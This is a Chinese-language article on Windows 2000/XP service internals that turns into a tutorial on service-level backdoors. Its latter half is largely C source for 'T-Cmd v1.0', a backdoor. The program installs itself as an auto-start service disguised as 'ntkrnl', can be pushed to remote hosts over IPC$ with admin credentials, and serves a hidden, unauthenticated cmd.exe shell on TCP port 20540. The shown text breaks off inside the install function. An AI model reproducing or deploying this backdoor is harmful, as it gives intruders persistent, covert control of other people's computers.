浅析Windows 2000/XP服务与后门技术

一、序言

Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准，它们会在登录系统时自动运行，甚至在没有用户登录系统的情况下也会正常执行，类似与UNIX系统中的守护进程(daemon)。它们大多是控制台程序，不过也有少数的GUI程序。本文所涉及到的服务程序仅限于Windows2000/XP系统中的一般服务程序，不包含Windows9X。

二、Windows服务简介

服务控制管理器拥有一个在注册表中记录的数据库，包含了所有已安装的服务程序和设备驱动服务程序的相关信息。它允许系统管理员为每个服务自定义安全要求和控制访问权限。Windows服务包括四大部分：服务控制管理器(Service Control Manager)，服务控制程序(Service Control Program)，服务程序(Service Program)和服务配置程序(Service Configuration Program)。

1.服务控制管理器(SCM)

服务控制管理器在系统启动的早期由Winlogon进程启动，可执行文件名是“Admin$\System32\Services.exe”，它是系统中的一个RPC服务器，因此服务配置程序和服务控制程序可以在远程操纵服务。它包括以下几方面的信息：

已安装服务数据库：服务控制管理器在注册表中拥有一个已安装服务的数据库，它在服务控制管理器和程序添加，删除，配置服务程序时使用，在注册表中数据库的位置为：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子键，每个子键的名字就代表一个对应的服务。数据库中包括：服务类型(私有进程，共享进程)，启动类型(自动运行，由服务控制管理器启动，无效)，错误类型(忽略，常规错误，服务错误，关键错误)，执行文件路径，依赖信息选项，可选用户名与密码。

自动启动服务：系统启动时，服务控制管理器启动所有“自启”服务和相关依赖服务。服务的加载顺序：顺序装载组列表：

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder；指定组列表：
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList；每个服务所依赖的服务程序。

在系统成功引导后会保留一份LKG(Last-Know-Good)的配置信息位于：

HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。

因要求而启动服务：用户可以使用服务控制面板程序来启动一项服务。服务控制程序也可以使用StartService来启动服务。服务控制管理器会进行下面的操作：获取帐户信息，登录服务项目，创建服务为悬挂状态，分配登录令牌给进程，允许进程执行。

服务记录列表：每项服务在数据库中都包含了下面的内容：服务名称，开始类型，服务状态(类型，当前状态，接受控制代码，退出代码，等待提示)，依赖服务列表指针。

服务控制管理器句柄：服务控制管理器支持句柄类型访问以下对象：已安装服务数据库，服务程序，数据库的锁开状态。

2.服务控制程序(SCP)

服务控制程序可以执行对服务程序的开启，控制和状态查询功能：

开启服务：如果服务的开启类型为SERVICE_DEMAND_START，就可以用服务控制程序来开始一项服务。在开始服务的初始化阶段服务的当前状态为：SERVICE_START_PENDING，而在初始化完成后的状态就是：SERVICE_RUNNING。

向正在运行的服务发送控制请求：控制请求可以是系统默认的，也可以是用户自定义的。标准控制代码如下：停止服务(SERVICE_CONTROL_STOP)，暂停服务(SERVICE_CONTROL_PAUSE)，恢复已暂停服务(SERVICE_CONTROL_CONTINUE),获得更新信息(SERVICE_CONTROL_INTERROGATE)。

3.服务程序

一个服务程序可能拥有一个或多个服务的执行代码。我们可以创建类型为SERVICE_WIN32_OWN_PROCESS的只拥有一个服务的服务程序。而类型为SERVICE_WIN32_SHARE_PROCESS的服务程序却可以包含多个服务的执行代码。详情参见后面的Windows服务与编程。

4.服务配置程序

编程人员和系统管理员可以使用服务配置程序来更改，查询已安装服务的信息。当然也可以通过注册表函数来访问相关资源。

服务的安装，删除和列举：我们可以使用相关的系统函数来创建，删除服务和查询所有服务的当前状态。

服务配置：系统管理员通过服务配置程序来控制服务的启动类型，显示名称和相关描述信息。

三、Windows服务与编程

Windows服务编程包括几方面的内容，下面我们将从服务控制程序，服务程序和服务配置程序的角度介绍服务编程相关的内容。

1.服务控制程序

执行服务控制程序的相关函数前，我们需要获得一个服务对象的句柄，方式有两种：由OpenSCManager来获得一台特定主机的服务控制管理器数据库的句柄；使用OpenService或CreateService函数来获得某个服务对象的句柄。

启动服务：要启动一个服务，服务控制程序可以使用StartService来实现。如果服务控制管理器数据库被锁定，那需要等待一定的时间然后再次测试StartService函数。当然也可以使用QueryServiceLockStatus函数来确认数据库的当前状态。在启动成功完成时，那么dwCurrentState参数将会返回SERVICE_RUNNING值。

服务控制请求：服务控制程序使用ControlService函数来发送控制请求到正在运行的服务程序。它会向控制句柄函数发送一个特定的控制命令，可以是系统默认的，也可以是用户自定义的。而且每个服务都会确定自己将会接收的控制命令列表。使用QueryServiceStatus函数时，在返回的dwControlsAccepted参数中表明服务程序将会接收的控制命令。所有的服务都会接受SERVICE_CONTROL_INTERROGATE命令。

2.服务程序

一个服务程序内可以包含一个服务或多个服务的执行代码，但是它们都拥有固定的三个部分：服务main函数，服务ServiceMain函数和服务Control Handler函数。

服务main函数：服务程序通常是以控制台的方式存在的，所以它们的入口点都是main函数。在服务控制管理器开始一个服务程序时，会等待StartServiceCtrlDispatcher函数的执行。如果服务类型是SERVICE_WIN32_OWN_PROCESS就会立即调用StartServiceCtrlDispatcher函数的执行；如果服务类型是SERVICE_WIN32_SHARE_PROCESS，通常在初始化所有服务之后再调用它。StartServiceCtrlDispatcher函数的参数就是一个SERVICE_TABLE_ENTRY结构，它包含了进程内所有服务的名称和服务入口点。

服务ServiceMain函数：函数ServiceMain是服务的入口点。在服务控制程序请求一个新的服务启动时，服务控制管理器启动一个服务，并发送一个开始请求到控制调度程序，而后控制调度程序创建一个新线程来执行ServiceMain函数。ServiceMain须执行以下的任务：调用RegisterServiceCtrlHandler函数注册一个HandlerEx函数来向服务发送控制请求信息，返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用SetServiceStatus函数设置服务状态为SERVICE_RUNNING。最后，就是执行服务所要完成的任务。

服务Control Handler函数：每个服务都有一个控制句柄HandlerEx函数。它会在服务进程从服务控制程序接收到一个控制请求时被控制调度程序所调用。无论何时在HandlerEx函数被调用时，都要调用SetServiceStatus函数向服务控制管理器报告它当前的状态。在用户关闭系统时，所有的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码的SetServiceStatus函数来接收NSERVICE_CONTROL_SHUTDOWN控制代码。

3.服务配置程序

服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前，必须获得一个服务对象的句柄，当然我们可以通过调用OpenSCManager,OpenService或CreateService函数来获得。

创建，删除服务：服务配置程序使用CreateService函数在服务控制管理器的数据库中安装一个新服务，它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程序则使用DeleteService函数从数据库中删除一个已经安装的服务。

四、服务级后门技术

在你进入某个系统后，往往会为自己留下一个或多个后门，以便今后的访问。在上传一个后门程序到远程系统上后系统重启之时，总是希望后门仍然存在。那么，将后门程序创建成服务程序应该是个不错的想法，这就是利用了服务程序自动运行的机制，当然在Windows2000的任务管理器里也很难结束一个服务程序的进程。

创建一个后门，它常常会在一个端口监听，以方便我们使用TCP/UDP协议与远程主机建立连接，所以我们首先需要在后门程序里创建一个监听的端口，为了数据传输的稳定与安全，我们可以使用TCP协议。

那么，我们如何才能模拟一个Telnet服务似的后门呢？我想大家都清楚，如果在远程主机上有一个Cmd是我们可以控制的，也就是我们可以在这个Cmd里执行命令，那么就可以实现对远程主机的控制了，至少可以执行各种常规的系统命令。启动一个Cmd程序的方法很多，有WinExec,ShellExecute,CreateProcess等，但只能使用CreateProcess，因为WinExec和ShellExecute它们实在太简单了。在使用CreateProcess时，要用到它的重定向标准输入/输出的选项功能，把在本地主机的输入重定向输入到远程主机的Cmd进程，并且把远程主机Cmd进程的标准输出重定向到本地主机的标准输出。这就需要在后门程序里使用CreatePipe创建两个管道来实现进程间的数据通信(Inter-Process Communication，IPC)。当然，还必须将远程主机上Cmd的标准输入和输出在本地主机之间进行传送，我们选择TCP协议的send和recv函数。在客户结束访问后，还要调用TerminateProcess来结束创建的Cmd进程。

五、关键函数分析

本文相关程序T-Cmd v1.0是一个服务级的后门程序，适用平台为Windows2000/XP。它可自动为远程/本地主机创建服务级后门，无须使用任何额外的命令，支持本地/远程模式。重启后，程序仍然自动运行，监听端口20540/tcp。

1.自定义数据结构与函数

typedef struct
{
HANDLE hPipe;
//为实现进程间通信而使用的管道；
SOCKET sClient;
//与客户端进行通信时的客户端套接字；
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd标准输入/输出时使用的数据结构；

typedef struct PROCESSDATA
{
HANDLE hProcess;
//创建Cmd进程时获得的进程句柄；
DWORD dwProcessId;
//创建Cmd进程时获得的进程标识符；
struct PROCESSDATA *next;
//指向下一个数据结构的指针；
}PROCESSDATA,*PPROCESSDATA;
//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构；

void WINAPI CmdStart(DWORD,LPTSTR *);
//服务程序中的“ServiceMain”：注册服务控制句柄，创建服务主线程；
void WINAPI CmdControl(DWORD);
//服务程序中的“HandlerEx”：处理接收到的控制命令，删除已创建的Cmd进程；
DWORD WINAPI CmdService(LPVOID);
//服务主线程，创建服务监听端口，在接受客户连接时，创建重定向Cmd标准输入/输出线程；
DWORD WINAPI CmdShell(LPVOID);
//创建管道与Cmd进程，及Cmd的输入/输出线程；
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的输出，读取信息后发送到客户端；
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的输入，接收客户端的信息输入到Cmd进程；
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果选择远程模式，则须与远程主机建立连接，注须提供管理员权限的用户名与密码，密码为空时用"NULL"代替；
void InstallCmdService(char *);
//复制传送文件，打开服务控制管理器，创建或打开服务程序；
void RemoveCmdService(char *);
//删除文件，停止服务后，卸载服务程序；

2.服务程序相关函数

SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服务程序的名称和入口点；
{NULL ,NULL }
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束；
};
StartServiceCtrlDispatcher(DispatchTable);
//连接服务控制管理器，开始控制调度程序线程；
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注册CmdControl函数为“HandlerEx”函数，并初始化；
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus)；
//设置服务的当前状态为SERVICE_RUNNING；
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//创建服务主线程，实现后门功能；
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量，控制全局变量的同步使用；
TerminateProcess(lpProcessDataHead->hProcess,1);
//终止创建的Cmd进程；
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系统目录下服务程序的文件是否已经存在；
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//获得当前进程的程序文件名；
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//复制文件到系统目录下；
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打开服务控制管理器数据库；
CreateService(schSCManager,"ntkrnl","ntkrnl",
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//创建服务，参数包括名称，服务类型，开始类型，错误类型及文件路径等；
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服务已经创建，则打开服务；
StartService(schService,0,NULL);
//启动服务进程；
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服务状态；
DeleteService(schService);
//卸载服务程序；
DeleteFile(lpImagePath);
//删除文件；

3.后门程序相关函数

hMutex=CreateMutex(NULL,FALSE,NULL);
//创建互斥量；
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//创建处理客户端访问的重定向输入输出线程；
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//创建用于进程间通信的输入/输出管道；
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//创建经重定向输入输出的Cmd进程；
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//创建处理Cmd输入输出的线程；
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待线程或进程的结束；
ReleaseMutex(hMutex);
//释放互斥量；
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//从管道中复制数据到缓冲区中，但不从管道中移出；
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//从管道中复制数据到缓冲区中；
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中写入从客户端接收到的数据；
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//与远程主机建立连接；
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//与远程主机结束连接；

六、附录

1.SC简介

SC是一个与NT服务控制器，服务进程进行通信的控制台程序，它可以查询和修改已安装服务的数据库。

语法：sc

  1<server> [command] [service name] <option1> <option2>... ，选项<server>为“\\\ServerName”的形式。 
  2
  3主要的命令包括：query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。 
  4
  52.T-Cmd v1.0 源代码 
  6
  7#include <windows.h>   
  8#include <stdio.h>
  9
 10#define BUFFER_SIZE 1024 
 11
 12typedef struct   
 13{   
 14HANDLE hPipe;   
 15SOCKET sClient;   
 16}SESSIONDATA,*PSESSIONDATA; 
 17
 18typedef struct PROCESSDATA   
 19{   
 20HANDLE hProcess;   
 21DWORD dwProcessId;   
 22struct PROCESSDATA *next;   
 23}PROCESSDATA,*PPROCESSDATA; 
 24
 25HANDLE hMutex;   
 26PPROCESSDATA lpProcessDataHead;   
 27PPROCESSDATA lpProcessDataEnd;   
 28SERVICE_STATUS ServiceStatus;   
 29SERVICE_STATUS_HANDLE ServiceStatusHandle; 
 30
 31void WINAPI CmdStart(DWORD,LPTSTR *);   
 32void WINAPI CmdControl(DWORD); 
 33
 34DWORD WINAPI CmdService(LPVOID);   
 35DWORD WINAPI CmdShell(LPVOID);   
 36DWORD WINAPI ReadShell(LPVOID);   
 37DWORD WINAPI WriteShell(LPVOID); 
 38
 39BOOL ConnectRemote(BOOL,char *,char *,char *);   
 40void InstallCmdService(char *);   
 41void RemoveCmdService(char *); 
 42
 43void Start(void);   
 44void Usage(void); 
 45
 46int main(int argc,char *argv[])   
 47{   
 48SERVICE_TABLE_ENTRY DispatchTable[] =   
 49{   
 50{"ntkrnl",CmdStart},   
 51{NULL ,NULL }   
 52}; 
 53
 54if(argc==5)   
 55{   
 56if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)   
 57{   
 58return -1;   
 59} 
 60
 61if(!stricmp(argv[1],"-install"))   
 62{   
 63InstallCmdService(argv[2]);   
 64}   
 65else if(!stricmp(argv[1],"-remove"))   
 66{   
 67RemoveCmdService(argv[2]);   
 68} 
 69
 70if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)   
 71{   
 72return -1;   
 73}   
 74return 0;   
 75}   
 76else if(argc==2)   
 77{   
 78if(!stricmp(argv[1],"-install"))   
 79{   
 80InstallCmdService(NULL);   
 81}   
 82else if(!stricmp(argv[1],"-remove"))   
 83{   
 84RemoveCmdService(NULL);   
 85}   
 86else   
 87{   
 88Start();   
 89Usage();   
 90}   
 91return 0;   
 92} 
 93
 94StartServiceCtrlDispatcher(DispatchTable); 
 95
 96return 0;   
 97} 
 98
 99void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)   
100{   
101HANDLE hThread; 
102
103ServiceStatus.dwServiceType = SERVICE_WIN32;   
104ServiceStatus.dwCurrentState = SERVICE_START_PENDING;   
105ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP   
106| SERVICE_ACCEPT_PAUSE_CONTINUE;   
107ServiceStatus.dwServiceSpecificExitCode = 0;   
108ServiceStatus.dwWin32ExitCode = 0;   
109ServiceStatus.dwCheckPoint = 0;   
110ServiceStatus.dwWaitHint = 0; 
111
112ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);   
113if(ServiceStatusHandle==0)   
114{   
115OutputDebugString("RegisterServiceCtrlHandler Error !\n");   
116return ;   
117} 
118
119ServiceStatus.dwCurrentState = SERVICE_RUNNING;   
120ServiceStatus.dwCheckPoint = 0;   
121ServiceStatus.dwWaitHint = 0; 
122
123if(SetServiceStatus(ServiceStatusHandle,&amp;ServiceStatus)==0)   
124{   
125OutputDebugString("SetServiceStatus in CmdStart Error !\n");   
126return ;   
127} 
128
129hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);   
130if(hThread==NULL)   
131{   
132OutputDebugString("CreateThread in CmdStart Error !\n");   
133} 
134
135return ;   
136} 
137
138void WINAPI CmdControl(DWORD dwCode)   
139{   
140switch(dwCode)   
141{   
142case SERVICE_CONTROL_PAUSE:   
143ServiceStatus.dwCurrentState = SERVICE_PAUSED;   
144break; 
145
146case SERVICE_CONTROL_CONTINUE:   
147ServiceStatus.dwCurrentState = SERVICE_RUNNING;   
148break; 
149
150case SERVICE_CONTROL_STOP:   
151WaitForSingleObject(hMutex,INFINITE);   
152while(lpProcessDataHead!=NULL)   
153{   
154TerminateProcess(lpProcessDataHead-&gt;hProcess,1);   
155if(lpProcessDataHead-&gt;next!=NULL)   
156{   
157lpProcessDataHead=lpProcessDataHead-&gt;next;   
158}   
159else   
160{   
161lpProcessDataHead=NULL;   
162}   
163} 
164
165ServiceStatus.dwCurrentState = SERVICE_STOPPED;   
166ServiceStatus.dwWin32ExitCode = 0;   
167ServiceStatus.dwCheckPoint = 0;   
168ServiceStatus.dwWaitHint = 0;   
169if(SetServiceStatus(ServiceStatusHandle,&amp;ServiceStatus)==0)   
170{   
171OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");   
172} 
173
174ReleaseMutex(hMutex);   
175CloseHandle(hMutex);   
176return ; 
177
178case SERVICE_CONTROL_INTERROGATE:   
179break; 
180
181default:   
182break;   
183} 
184
185if(SetServiceStatus(ServiceStatusHandle,&amp;ServiceStatus)==0)   
186{   
187OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");   
188} 
189
190return ;   
191} 
192
193DWORD WINAPI CmdService(LPVOID lpParam)   
194{   
195WSADATA wsa;   
196SOCKET sServer;   
197SOCKET sClient;   
198HANDLE hThread;   
199struct sockaddr_in sin; 
200
201WSAStartup(MAKEWORD(2,2),&amp;wsa);   
202sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);   
203if(sServer==INVALID_SOCKET)   
204{   
205OutputDebugString("Socket Error !\n");   
206return -1;   
207}   
208sin.sin_family = AF_INET;   
209sin.sin_port = htons(20540);   
210sin.sin_addr.S_un.S_addr = INADDR_ANY; 
211
212if(bind(sServer,(const struct sockaddr *)&amp;sin,sizeof(sin))==SOCKET_ERROR)   
213{   
214OutputDebugString("Bind Error !\n");   
215return -1;   
216}   
217if(listen(sServer,5)==SOCKET_ERROR)   
218{   
219OutputDebugString("Listen Error !\n");   
220return -1;   
221} 
222
223hMutex=CreateMutex(NULL,FALSE,NULL);   
224if(hMutex==NULL)   
225{   
226OutputDebugString("Create Mutex Error !\n");   
227}   
228lpProcessDataHead=NULL;   
229lpProcessDataEnd=NULL; 
230
231while(1)   
232{   
233sClient=accept(sServer,NULL,NULL);   
234hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&amp;sClient,0,NULL);   
235if(hThread==NULL)   
236{   
237OutputDebugString("CreateThread of CmdShell Error !\n");   
238break;   
239}   
240Sleep(1000);   
241} 
242
243WSACleanup();   
244return 0;   
245} 
246
247DWORD WINAPI CmdShell(LPVOID lpParam)   
248{   
249SOCKET sClient=*(SOCKET *)lpParam;   
250HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;   
251HANDLE hThread[3];   
252DWORD dwReavThreadId,dwSendThreadId;   
253DWORD dwProcessId;   
254DWORD dwResult;   
255STARTUPINFO lpStartupInfo;   
256SESSIONDATA sdWrite,sdRead;   
257PROCESS_INFORMATION lpProcessInfo;   
258SECURITY_ATTRIBUTES saPipe;   
259PPROCESSDATA lpProcessDataLast;   
260PPROCESSDATA lpProcessDataNow;   
261char lpImagePath[MAX_PATH]; 
262
263saPipe.nLength = sizeof(saPipe);   
264saPipe.bInheritHandle = TRUE;   
265saPipe.lpSecurityDescriptor = NULL;   
266if(CreatePipe(&amp;hReadPipe,&amp;hReadShell,&amp;saPipe,0)==0)   
267{   
268OutputDebugString("CreatePipe for ReadPipe Error !\n");   
269return -1;   
270} 
271
272if(CreatePipe(&amp;hWriteShell,&amp;hWritePipe,&amp;saPipe,0)==0)   
273{   
274OutputDebugString("CreatePipe for WritePipe Error !\n");   
275return -1;   
276} 
277
278GetStartupInfo(&amp;lpStartupInfo);   
279lpStartupInfo.cb = sizeof(lpStartupInfo);   
280lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;   
281lpStartupInfo.hStdInput = hWriteShell;   
282lpStartupInfo.hStdOutput = hReadShell;   
283lpStartupInfo.hStdError = hReadShell;   
284lpStartupInfo.wShowWindow = SW_HIDE; 
285
286GetSystemDirectory(lpImagePath,MAX_PATH);   
287strcat(lpImagePath,(" \\\cmd.exe ")); 
288
289WaitForSingleObject(hMutex,INFINITE);   
290if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&amp;lpStartupInfo,&amp;lpProcessInfo)==0)   
291{   
292OutputDebugString("CreateProcess Error !\n");   
293return -1;   
294} 
295
296lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));   
297lpProcessDataNow-&gt;hProcess=lpProcessInfo.hProcess;   
298lpProcessDataNow-&gt;dwProcessId=lpProcessInfo.dwProcessId;   
299lpProcessDataNow-&gt;next=NULL;   
300if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL))   
301{   
302lpProcessDataHead=lpProcessDataNow;   
303lpProcessDataEnd=lpProcessDataNow;   
304}   
305else   
306{   
307lpProcessDataEnd-&gt;next=lpProcessDataNow;   
308lpProcessDataEnd=lpProcessDataNow;   
309} 
310
311hThread[0]=lpProcessInfo.hProcess;   
312dwProcessId=lpProcessInfo.dwProcessId;   
313CloseHandle(lpProcessInfo.hThread);   
314ReleaseMutex(hMutex); 
315
316CloseHandle(hWriteShell);   
317CloseHandle(hReadShell); 
318
319sdRead.hPipe = hReadPipe;   
320sdRead.sClient = sClient;   
321hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&amp;sdRead,0,&amp;dwSendThreadId);   
322if(hThread[1]==NULL)   
323{   
324OutputDebugString("CreateThread of ReadShell(Send) Error !\n");   
325return -1;   
326} 
327
328sdWrite.hPipe = hWritePipe;   
329sdWrite.sClient = sClient;   
330hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&amp;sdWrite,0,&amp;dwReavThreadId);   
331if(hThread[2]==NULL)   
332{   
333OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");   
334return -1;   
335} 
336
337dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);   
338if((dwResult&gt;=WAIT_OBJECT_0) &amp;&amp; (dwResult&lt;=(WAIT_OBJECT_0 + 2)))   
339{   
340dwResult-=WAIT_OBJECT_0;   
341if(dwResult!=0)   
342{   
343TerminateProcess(hThread[0],1);   
344}   
345CloseHandle(hThread[(dwResult+1)%3]);   
346CloseHandle(hThread[(dwResult+2)%3]);   
347} 
348
349CloseHandle(hWritePipe);   
350CloseHandle(hReadPipe); 
351
352WaitForSingleObject(hMutex,INFINITE);   
353lpProcessDataLast=NULL;   
354lpProcessDataNow=lpProcessDataHead;   
355while((lpProcessDataNow-&gt;next!=NULL) &amp;&amp; (lpProcessDataNow-&gt;dwProcessId!=dwProcessId))   
356{   
357lpProcessDataLast=lpProcessDataNow;   
358lpProcessDataNow=lpProcessDataNow-&gt;next;   
359}   
360if(lpProcessDataNow==lpProcessDataEnd)   
361{   
362if(lpProcessDataNow-&gt;dwProcessId!=dwProcessId)   
363{   
364OutputDebugString("No Found the Process Handle !\n");   
365}   
366else   
367{   
368if(lpProcessDataNow==lpProcessDataHead)   
369{   
370lpProcessDataHead=NULL;   
371lpProcessDataEnd=NULL;   
372}   
373else   
374{   
375lpProcessDataEnd=lpProcessDataLast;   
376}   
377}   
378}   
379else   
380{   
381if(lpProcessDataNow==lpProcessDataHead)   
382{   
383lpProcessDataHead=lpProcessDataNow-&gt;next;   
384}   
385else   
386{   
387lpProcessDataLast-&gt;next=lpProcessDataNow-&gt;next;   
388}   
389}   
390ReleaseMutex(hMutex); 
391
392return 0;   
393} 
394
395DWORD WINAPI ReadShell(LPVOID lpParam)   
396{   
397SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;   
398DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;   
399char szBuffer[BUFFER_SIZE];   
400char szBuffer2Send[BUFFER_SIZE+32];   
401char PrevChar;   
402char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: [email protected] ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n";   
403char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n"; 
404
405send(sdRead.sClient,szStartMessage,256,0);   
406send(sdRead.sClient,szHelpMessage,256,0); 
407
408while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&amp;dwBufferRead,NULL,NULL))   
409{   
410if(dwBufferRead&gt;0)   
411{   
412ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&amp;dwBufferRead,NULL);   
413}   
414else   
415{   
416Sleep(10);   
417continue;   
418} 
419
420for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow&lt;dwBufferRead;dwBufferNow++,   
421dwBuffer2Send++)   
422{   
423if((szBuffer[dwBufferNow]=='\n') &amp;&amp; (PrevChar!='\r'))   
424{   
425szBuffer[dwBuffer2Send++]='\r';   
426}   
427PrevChar=szBuffer[dwBufferNow];   
428szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];   
429} 
430
431if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)   
432{   
433OutputDebugString("Send in ReadShell Error !\n");   
434break;   
435}   
436Sleep(5);   
437} 
438
439shutdown(sdRead.sClient,0x02);   
440closesocket(sdRead.sClient);   
441return 0;   
442} 
443
444DWORD WINAPI WriteShell(LPVOID lpParam)   
445{   
446SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;   
447DWORD dwBuffer2Write,dwBufferWritten;   
448char szBuffer[1];   
449char szBuffer2Write[BUFFER_SIZE]; 
450
451dwBuffer2Write=0;   
452while(recv(sdWrite.sClient,szBuffer,1,0)!=0)   
453{   
454szBuffer2Write[dwBuffer2Write++]=szBuffer[0]; 
455
456if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)   
457{   
458shutdown(sdWrite.sClient,0x02);   
459closesocket(sdWrite.sClient);   
460return 0;   
461} 
462
463if(szBuffer[0]=='\n')   
464{   
465if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&amp;dwBufferWritten,NULL)==0)   
466{   
467OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");   
468break;   
469}   
470dwBuffer2Write=0;   
471}   
472Sleep(10);   
473} 
474
475shutdown(sdWrite.sClient,0x02);   
476closesocket(sdWrite.sClient);   
477return 0;   
478} 
479
480BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword)   
481{   
482char lpIPC[256];   
483DWORD dwErrorCode;   
484NETRESOURCE NetResource; 
485
486sprintf(lpIPC," \\\\\\\%s\\\ipc$",lpHost );   
487NetResource.lpLocalName = NULL;   
488NetResource.lpRemoteName = lpIPC;   
489NetResource.dwType = RESOURCETYPE_ANY;   
490NetResource.lpProvider = NULL; 
491
492if(!stricmp(lpPassword,"NULL"))   
493{   
494lpPassword=NULL;   
495} 
496
497if(bConnect)   
498{   
499printf("Now Connecting ...... ");   
500while(1)   
501{   
502dwErrorCode=WNetAddConnection2(&amp;NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);   
503if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))   
504{   
505WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);   
506}   
507else if(dwErrorCode==NO_ERROR)   
508{   
509printf("Success !\n");   
510break;   
511}   
512else   
513{   
514printf("Failure !\n");   
515return FALSE;   
516}   
517Sleep(10);   
518}   
519}   
520else   
521{   
522printf("Now Disconnecting ... ");   
523dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);   
524if(dwErrorCode==NO_ERROR)   
525{   
526printf("Success !\n");   
527}   
528else   
529{   
530printf("Failure !\n");   
531return FALSE;   
532}   
533} 
534
535return TRUE;   
536} 
537
538void InstallCmdService(char *lpHost)   
539{   
540SC_HANDLE schSCManager;   
541SC_HANDLE schService;   
542char lpCurrentPath[MAX_PATH];   
543char lpImagePath[MAX_PATH];   
544char *lpHostName;   
545WIN32_FIND_DATA FileData;   
546HANDLE hSearch;   
547DWORD dwErrorCode;   
548SERVICE_STATUS InstallServiceStatus; 
549
550if(lpHost==NULL)   
551{   
552GetSystemDirectory(lpImagePath,MAX_PATH);   
553strcat(lpImagePath," \\\ntkrnl.exe ");   
